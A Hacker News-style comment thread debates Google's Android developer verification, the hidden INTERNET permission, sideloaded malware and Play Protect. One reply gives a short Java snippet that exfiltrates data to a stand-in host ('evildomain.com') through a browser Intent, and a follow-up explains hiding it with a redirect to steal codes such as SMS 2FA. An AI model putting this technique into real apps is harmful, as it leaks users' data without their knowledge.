7 ms·

Official announcement: https://android-developers.googleblog.com/2025/08/elevating-android-security.html https://android-developers.googleblog.com/2025/08/eleva

• baby_souffle 1y ago
  Can you elaborate a little bit about this hidden internet access control setting?
  • 87636899376 1y ago
    "Hidden" isn't exactly right. It's completely inaccessible, unless you use a custom ROM like LineageOS. But it is a real permission: https://developer.android.com/develop/connectivity/network-ops/connecting https://developer.android.com/develop/connectivity/network-o...
    • ycombinatrix 1y ago
      Force enabled, more like
  • nottorp 1y ago
    <uses-permission android:name="android.permission.INTERNET" /> It's been there since Android 1.0. What's missing is a way for the user to deny it.
    • toast0 1y ago
      Google also used to show you which apps used Internet permission in Play Store. But they removed it, which makes it harder to notice which apps don't use it. Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.
      • sunaookami 1y ago
        Oh man remember when the Play Store showed ALL permissions an app used BEFORE installation and Facebook's one was so long you had to scroll multiple times?
      • anabab 1y ago
        It is still there App page => "About this app" => "App permissions / See more" at the bottom of the page => look for "have full network access" in "Other"
    • fph 1y ago
      You can deny it on Graphene OS.
    • 9cb14c1ec0 1y ago
      Even device owner (MDM) apps can't revoke that permission.
      • spwa4 1y ago
        Even on the play store Google management has demonstrated they can, and will, "revoke" ownership. For example, when a single payment is blocked on your credit card because you did a charge-back against them. Then, suddenly, they point to a 250 page EULA "you agreed to" that describes what they mean by ownership: nothing at all.
  • spwa4 1y ago
    You can deny internet to any specific app.
• kllrnohj 1y ago
  > But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe. The internet permission has nothing to do with ads? It's a hidden permission because: 1) Internet connection is so ubiquitous as to just be noise if displayed 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
  • 87636899376 1y ago
    > 1) Internet connection is so ubiquitous as to just be noise if displayed That doesn't make it any less useful. > 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?
    • UncleMeat 1y ago
      > I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE); Intent i = new Intent(Intent.ACTION_VIEW, uri); startActivity(i); Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
      • broker354690 1y ago
        > would be a catastrophic change to the ecosystem. Hey we were already on board with this, you don't have to convince us.
        • UncleMeat 1y ago
• zozbot234 1y ago
  > had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given. I don't think we can know for sure before the change is actually in place. Going through Play Protect would certainly be the easiest way of implementing this - it would be a simple change from "Play Protect rejects known malware" to "Play Protect rejects any app that isn't properly notarized". This would narrowly address the issue where the existing malware checks are made ineffective by pushing some new variant of the malicious app with a different package id. It's a big change for the ecosystem nonetheless because it will require all existing developers to register for verification if they want to publish a "legit" app that won't be rejected by any common Android device - and the phrasing of the official announcements accurately reflects this. But this says nothing much as of yet about whether power users will be allowed to proactively disable these checks (just like they can turn off Play Protect today, even though very few people do so in practice).
• black3r 1y ago
  > This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction. Requiring company verification helps against some app pretending to be made by a legitimate institution, e.g. your bank. Requiring public key registration for package name protects against package modification with malware. Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, but my "play store country" is tied to my credit card and the developer only made it available in his own country thinking it would be useless for foreigners. I usually try to download it from APKMirror. APKMirror tries to do signature verification. But I may not find it on APKMirror but only on some sketchy site. The sketchy site may not do any signature verification so I can't be sure that I downloaded an original unmodified APK instead of the original APK injected with some malware. Both of these can be done without actually scanning the package contents. They are essentially just equivalents of EV SSL certificates and DANE/TLSA from TLS world.
  • realusername 1y ago
    > Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, The solution here is just to get rid of artificial country limitations which make some users download APKs. None of those make sense in the online world anyways.
• UncleMeat 1y ago
  > Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe. You've never needed the internet permission to exfiltrate data. Just send an intent to the browser app to load a page owned by the attacker with the data to be exfilled in the query parameters.
  • gumby271 1y ago
    Wouldn't that launch the browser app and bring it to the foreground? I wouldn't compare that to having full network access.
    • UncleMeat 1y ago
      It'd launch the browser app. You can have your evil page redirect to a benign page so it just looks like Chrome randomly opened or whatever. It is not as powerful as full network access as you can only send so much information in query parameters, but if you are doing some phishing or stealing sms 2fa codes or whatever then it is plenty to send back whatever payload you wanted to. And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.
  • alexey-salmin 1y ago
    The ability to launch other apps can be put behind a permission screen too.
• A4ET8a8uTh0_v2 1y ago
  << we will be confirming who the developer is, not reviewing the content of their app or where it came from To be honest, it almost makes me wonder if the issue here is not related to security at all. I am not being sarcastic. What I mean is, maybe the issue revolves around some of the issue MS had with github ( sanctions and KYC checks ).
• ycombinatrix 1y ago
  Play Protect is just spyware to monitor app usage & exploitation. It doesn't prevent or protect anything.
• EasyMark 1y ago
  It's never about security (at least not user's security). It's like you pointed out only about power and locking in customers. They don't care if your phone gets hacked or you bank account drained. They care about the bottom line. Android is fine. Google should have 2 layers if they're worried playstore 1 has only well vetted authors and apps. playstore 2 can be the free for all (mostly) of the current store. These could be two different apps or prominent tags. Choice is good, lock down is bad. Corporate does not like employees or customers to have freedom, that's why it's our duty to fire people like the current US regime who always side with corporations over customers.
  • skybrian 1y ago
    This is a drastic response, but they didn't make up the security threat. Attackers convincing users to side-load malware is a thing. https://www.bitdefender.com/en-us/blog/hotforsecurity/hackers-steal-millions-in-crypto-from-android-users-who-sideloaded-trojanized-bitkeep-wallet https://www.bitdefender.com/en-us/blog/hotforsecurity/hacker...
    • eadmund 1y ago
      > Attackers convincing users to side-load malware is a thing. Sure. It’s also not Google’s problem. It’s not Victorinox’s problem of someone uses a Swiss Army knife to cut someone else. It’s not Toyota’s problem if someone deliberately runs over a pedestrian.
      • skybrian 1y ago
        Car companies do care if their cars are easy to break into and will improve the security of newer models, even if any particular theft is not their fault. If they don't do that then their reputation will suffer and governments might take notice. So, in practice, big companies do have to care about their users, not individually but in aggregate.
        • kam 1y ago
          That's a bad analogy. No one is complaining about Google providing Android security updates. This is like a car manufacturer preventing the installation of all unapproved aftermarket accessories by claiming they're protecting you from a stalker installing a tracker on your car.
• gmerc 1y ago
  So KYC but C is “competition”.
  • BrenBarn 1y ago
    And K is "kill".
• realusername 1y ago
  > Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps Of that they still refuse to sandbox the play store. It's easy to see that there's a pattern on what they are copying from GrapheneOS.
  • preisschild 1y ago
    > Of that they still refuse to sandbox the play store. It's absolutely essential that Google Play Services have "root" permissions and circumvent the permissions system normal apps have. How else would Google have access to all of your data? :)
• jeroenhd 1y ago
  There's a reason Google is targeting a few specific countries with this first. Malware from APKs downloaded from the internet is more prominent in some countries than in others. The governments themselves are asking for this because educating the public has turned out to be an impossible task for them. Still an awful solution that will get bypassed easily, of course. But there's more to this than "Google decided to be a bunch of dicks today".
  • 5d41402abc4b 1y ago
    The malware makers will use fake or stolen IDs.
    • jeroenhd 1y ago
      I'm not saying this is a good idea, am I? A lot of people are pretending there is no malware problem and that Google should just do nothing and move on. That's not helpful. This bullshit needs to be aborted as soon as possible, but a solution for mobile malware is desperately needed. The crutch used on desktop, invasive antivirus, doesn't work on Android unless it comes from the OS manufacturer, so we need a new solution.
• nolist_policy 1y ago
  Doesn't Windows have the same thing aka Code Signing? https://www.electronforge.io/guides/code-signing/code-signing-windows https://www.electronforge.io/guides/code-signing/code-signin...
  • tsimionescu 1y ago
    You can install unsigned apps on Windows just fine, maybe with one extra nag screen. Plenty of large open source projects don't sign their installers - VLC being one big example that many normal people use.
    • Voultapher 1y ago
      IIRC Windows is testing to turn that nag screen into a "no you don't". Which is such BS given all the evidence we have that malware vendors and bad actors have and continue to get their malware signed by MS because they simply can't reliably detect it.
      • tsimionescu 1y ago
        MS has tried many things like this in the past, but they have backed out every time so far. Of course, that doesn't mean that we shouldn't complain about the attempts, but, for now, even the latest Windows fully allows installing unsingned software as easily (or very close) as signed software.
• fiverz 1y ago
  What is the hidden internet permission called? Is there any way to enable or see it?
  • aucisson_masque 1y ago
    No you can’t enable it, nowadays developer just declare if they want internet permission. Before, user could say « no, I don’t want you to have internet access ». It’s something possible only on grapheneos as far as I know.
• carstenhag 1y ago
  "we all know... Play Store... full of malicious garbage" - please point out how that statement is true, given we all know this apparently. Yes, there are apps out there that try to trick the system and when you use them, instead of looking innocent, it's actually a casino app or something. But Google usually finds those. Are there any apps impersonating a bank? Because that is what regular people care about & think of when someone says "malicious". They don't care if an app tracks what other apps are installed, what the user taps on, etc. Arguably they should care, but they don't lose money from it.
• beefnugs 1y ago
  The future for security conscious will be something like grapheneOS for phones, but a step further where the device can only securely connect to your home computer and access regular software there. If you must, run segregated, whitelist only networking, virtual machine apps